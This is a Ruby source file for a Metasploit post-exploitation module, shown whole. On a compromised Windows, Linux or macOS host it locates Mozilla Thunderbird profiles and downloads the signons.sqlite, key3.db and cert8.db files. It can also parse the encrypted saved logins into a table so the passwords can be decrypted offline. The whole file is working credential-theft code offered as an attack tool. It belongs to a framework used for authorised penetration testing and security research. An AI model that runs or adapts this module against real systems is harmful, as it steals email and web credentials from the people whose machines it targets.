253 lines
7.1 KiB
Ruby
253 lines
7.1 KiB
Ruby
|
##
|
||
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
# Framework web site for more information on licensing and terms of use.
|
||
|
# http://metasploit.com/framework/
|
||
|
##
|
||
|
|
||
|
require 'msf/core'
|
||
|
require 'msf/core/post/file'
|
||
|
require 'msf/core/post/common'
|
||
|
require 'msf/core/post/windows/user_profiles'
|
||
|
|
||
|
class Metasploit3 < Msf::Post
|
||
|
|
||
|
include Msf::Post::File
|
||
|
include Msf::Post::Common
|
||
|
include Msf::Post::Windows::UserProfiles
|
||
|
|
||
|
def initialize(info={})
|
||
|
super(update_info(info,
|
||
|
'Name' => "Multi Gather Mozilla Thunderbird Signon Credential Collection",
|
||
|
'Description' => %q{
|
||
|
This module will collect credentials from Mozilla Thunderbird by downloading
|
||
|
the necessary files such as 'signons.sqlite', 'key3.db', and 'cert8.db' for
|
||
|
offline decryption with third party tools.
|
||
|
|
||
|
If necessary, you may also set the PARSE optioin to true to parse the sqlite
|
||
|
file, which contains sensitive information such as the encrypted username/password.
|
||
|
However, this feature is not enabled by default, because it requires SQLITE3 gem
|
||
|
to be installed on your machine.
|
||
|
},
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Author' =>
|
||
|
[
|
||
|
'sinn3r', #Metasploit
|
||
|
],
|
||
|
'Platform' => ['win', 'linux', 'osx'],
|
||
|
'SessionTypes' => ['meterpreter', 'shell']
|
||
|
))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
OptBool.new('PARSE', [false, 'Use SQLite3 to parse the database', false])
|
||
|
]
|
||
|
)
|
||
|
end
|
||
|
|
||
|
def run
|
||
|
# Initialize Thunderbird's base path based on the platform
|
||
|
case session.platform
|
||
|
when /linux/
|
||
|
user = session.shell_command("whoami").chomp
|
||
|
base = "/home/#{user}/.thunderbird/"
|
||
|
when /osx/
|
||
|
user = session.shell_command("whoami").chomp
|
||
|
base = "/Users/#{user}/Library/Thunderbird/Profiles/"
|
||
|
when /win/
|
||
|
if session.type =~ /meterpreter/
|
||
|
user_profile = session.fs.file.expand_path("%USERPROFILE%")
|
||
|
else
|
||
|
user_profile = cmd_exec("echo %USERPROFILE%").strip
|
||
|
end
|
||
|
|
||
|
if user_profile =~ /^C:\\Users\\/
|
||
|
# Windows Vista or newer
|
||
|
base = user_profile + '\\AppData\\Roaming\\Thunderbird\\Profiles\\'
|
||
|
else
|
||
|
# Windows XP
|
||
|
base = user_profile + '\\Application Data\\Thunderbird\\Profiles\\'
|
||
|
end
|
||
|
end
|
||
|
|
||
|
# Now we have the path for Thunderbird, we still need to enumerate its
|
||
|
# random profile names.
|
||
|
print_status("Looking for profiles in #{base}...")
|
||
|
profiles = get_profile_names(base)
|
||
|
|
||
|
# Steal!
|
||
|
profiles.each do |profile|
|
||
|
next if profile =~ /^\./
|
||
|
slash = (session.platform =~ /win/) ? "\\" : "/"
|
||
|
p = base + profile + slash
|
||
|
|
||
|
# Download the database, and attempt to process the content
|
||
|
download_loot(p)
|
||
|
end
|
||
|
end
|
||
|
|
||
|
#
|
||
|
# Download signons.sqlite and key3.db.
|
||
|
# The routine will attempt to parse the sqlite db if the PARSE option is true,
|
||
|
# and that SQLite3 is installed on the user's box.
|
||
|
#
|
||
|
def download_loot(p)
|
||
|
# These are the files we wanna grab for the directory for future decryption
|
||
|
files = ['signons.sqlite', 'key3.db', 'cert8.db']
|
||
|
|
||
|
files.each do |item|
|
||
|
loot = ''
|
||
|
|
||
|
# Downaload the file
|
||
|
if session.type =~ /meterpreter/
|
||
|
vprint_status("Downloading: #{p + item}")
|
||
|
begin
|
||
|
f = session.fs.file.new(p + item, 'rb')
|
||
|
until f.eof?
|
||
|
loot << f.read
|
||
|
end
|
||
|
rescue ::Exception => e
|
||
|
ensure
|
||
|
f.close
|
||
|
end
|
||
|
elsif session.type =~ /shell/
|
||
|
cmd_show = (session.platform =~ /win/) ? 'type' : 'cat'
|
||
|
# The type command will add a 0x0a character in the file? Pff.
|
||
|
# Gotta lstrip that.
|
||
|
loot = cmd_exec(cmd_show, "\"#{p+item}\"").lstrip
|
||
|
next if loot =~ /system cannot find the file specified|No such file/
|
||
|
end
|
||
|
|
||
|
# Save it
|
||
|
ext = ::File.extname(item)
|
||
|
ext = ext[1,ext.length]
|
||
|
|
||
|
path = store_loot(
|
||
|
"tb.#{item}",
|
||
|
"binary/#{ext}",
|
||
|
session,
|
||
|
loot,
|
||
|
"thunderbird_raw_#{item}",
|
||
|
"Thunderbird Raw File #{item}")
|
||
|
|
||
|
print_status("#{item} saved in #{path}")
|
||
|
|
||
|
# Parse signons.sqlite
|
||
|
if item =~ /signons\.sqlite/ and datastore['PARSE']
|
||
|
print_status("Parsing signons.sqlite...")
|
||
|
data_tbl = parse(path)
|
||
|
if not data_tbl.nil?
|
||
|
path = store_loot(
|
||
|
"tb.parsed.#{item}",
|
||
|
"text/plain",
|
||
|
session,
|
||
|
data_tbl.to_csv,
|
||
|
"thunderbird_parsed_#{item}",
|
||
|
"Thunderbird Parsed File #{item}")
|
||
|
print_status("Parsed signons.sqlite saved in: #{path}")
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
|
||
|
#
|
||
|
# Parse the sqlite database.
|
||
|
# This thing requires sqlite3 gem, so we don't really recommend it.
|
||
|
# The best way is to use railgun, but as of now we don't support that.
|
||
|
# Can't just LoadLibrary("sqlite3.dll") or LoadLibrary("mozsqlite3.dll")
|
||
|
#
|
||
|
def parse(file)
|
||
|
begin
|
||
|
require 'sqlite3'
|
||
|
rescue LoadError
|
||
|
print_error("Sorry, SQLite3 not available. We'll have to skip the parser.")
|
||
|
return nil
|
||
|
end
|
||
|
|
||
|
# Load the database
|
||
|
db = SQLite3::Database.new(file)
|
||
|
begin
|
||
|
columns, *rows = db.execute('select * from moz_logins')
|
||
|
rescue ::Exception => e
|
||
|
print_error("doh! #{e.to_s}")
|
||
|
return nil
|
||
|
ensure
|
||
|
db.close
|
||
|
end
|
||
|
|
||
|
# Create a rex table to store our data
|
||
|
tbl = Rex::Ui::Text::Table.new(
|
||
|
'Header' => 'Thunderbird login data',
|
||
|
'Indent' => 1,
|
||
|
'Columns' =>
|
||
|
[
|
||
|
'hostname',
|
||
|
'httpRealm',
|
||
|
'formSubmitURL',
|
||
|
'usernameField',
|
||
|
'passwordField',
|
||
|
'encryptedUsername',
|
||
|
'encryptedPassword',
|
||
|
'guid'
|
||
|
]
|
||
|
)
|
||
|
|
||
|
# Parse the db, store the data
|
||
|
rows.each do |row|
|
||
|
tbl << [
|
||
|
row[1], #hostname
|
||
|
row[2], #httpRealm
|
||
|
row[3], #formSubmitURL (could be nil)
|
||
|
row[4], #usernameField
|
||
|
row[5], #passwordField
|
||
|
row[6], #encryptedUsername
|
||
|
row[7], #encryptedPassword
|
||
|
row[8] #guid
|
||
|
]
|
||
|
end
|
||
|
|
||
|
return tbl
|
||
|
end
|
||
|
|
||
|
#
|
||
|
# Return the profile names based on a base path.
|
||
|
# The format for the random profile name goes like: [random].default
|
||
|
#
|
||
|
def get_profile_names(path)
|
||
|
tb_profiles = []
|
||
|
|
||
|
if session.type =~ /meterpreter/
|
||
|
session.fs.dir.foreach(path) do |subdir|
|
||
|
tb_profiles << subdir
|
||
|
end
|
||
|
else
|
||
|
cmd = (session.platform =~ /win/) ? "dir \"#{path}\"" : "ls -ld #{path}*/"
|
||
|
dir = cmd_exec(cmd)
|
||
|
dir.each_line do |line|
|
||
|
line = line.strip
|
||
|
next if session.platform =~ /win/ and line !~ /<DIR>((.+)\.(\w+)$)/
|
||
|
next if session.platform =~ /linux|osx/ and line !~ /(\w+\.\w+)/
|
||
|
tb_profiles << $1 if not $1.nil?
|
||
|
end
|
||
|
end
|
||
|
return tb_profiles
|
||
|
end
|
||
|
end
|
||
|
|
||
|
=begin
|
||
|
If you're really curious about Mozilla's encryption/descryption API, download this:
|
||
|
ftp://ftp.mozilla.org/pub/mozilla.org/thunderbird/releases/8.0/source/
|
||
|
|
||
|
And then read the following files:
|
||
|
mozilla/security/manager/ssl/src/nsSDR.cpp
|
||
|
mozilla/security/nss/lib/pk11wrap/pk11sdr.c
|
||
|
|
||
|
Using a 3rd party decryptor is easier because Mozilla uses 2 different databases
|
||
|
(SQLite and Berkeley DB) to store the crypto information. This makes proper decryption
|
||
|
implementation kind of uneasy, because railgun currently doesn't support SQLite3 and
|
||
|
BDB (require special handling -- it's not like you can do LoadLibrary('mozsqlite3.dll')
|
||
|
to load the lib). Not to mention you need to borrow several more Mozilla components to
|
||
|
do the decryption. BDB gem unfortunately is kind of busted during my testing, so I guess
|
||
|
we can pretty much forget about doing the decryption locally... chances are a lot of
|
||
|
users would have problems just to get that setup going anyway.
|
||
|
=end
|